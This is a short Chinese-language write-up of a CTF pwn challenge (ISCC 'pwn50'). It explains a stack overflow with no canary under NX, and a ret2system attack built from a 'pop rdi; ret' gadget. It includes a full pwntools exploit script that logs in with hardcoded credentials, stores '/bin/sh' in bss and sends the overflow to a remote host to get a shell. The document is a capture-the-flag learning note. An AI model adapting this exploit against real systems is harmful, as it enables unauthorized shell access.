pwn复健的第一题(:з」∠)还好比较简单
简单分析一下,在Menu中存在栈溢出,并且没有Canary保护
不过有NX保护,因此无法直接传入Shellcode
查了一下pwn的相关知识,发现这里导入了system函数,因此可以直接使用ret2system来getshell
system传参的寄存器是edi
这个常识级别的东西因为不记得,导致用栈传参试了半天不知道为啥错orz发现这个点也算大有收获啦
查找pop rdi;ret的shellcode,发现有一处满足需求
root@kali:~/ctf/iscc# ROPgadget –binary pwn50 –only ‘pop|ret’ | grep rdi
0x0000000000400b03 : pop rdi ; ret
/bin/sh
当然就放在bss段了,这个地址也已知
Payload如下:
from pwn import *
#r = process("./pwn50")
r = remote('47.104.16.75',9000)
# 填充栈+ebp+(pop rdi;ret)+(&str)+(&system)
payload = 'a'*0x50 + 'a'*8 + p64(0x400b03) + p64(0x601100) + p64(0x400630)
log.info(r.recvuntil(":"))
r.sendline("admin")
log.info(r.recvuntil(":"))
r.sendline("T6OBSh2i")
log.info(r.recvuntil(":"))
r.sendline('1')
log.info(r.recvuntil(":"))
r.sendline('/bin/sh')
log.info(r.recvuntil(":"))
r.sendline(payload)
log.info(r.recvuntil(":"))
r.sendline('3')
r.interactive()
后来查看_system的调用发现在ExecCMD函数中有现成的payload
因此payload可以直接控制跳转到0x40084a即可,当然一般没有这么好的代码啦233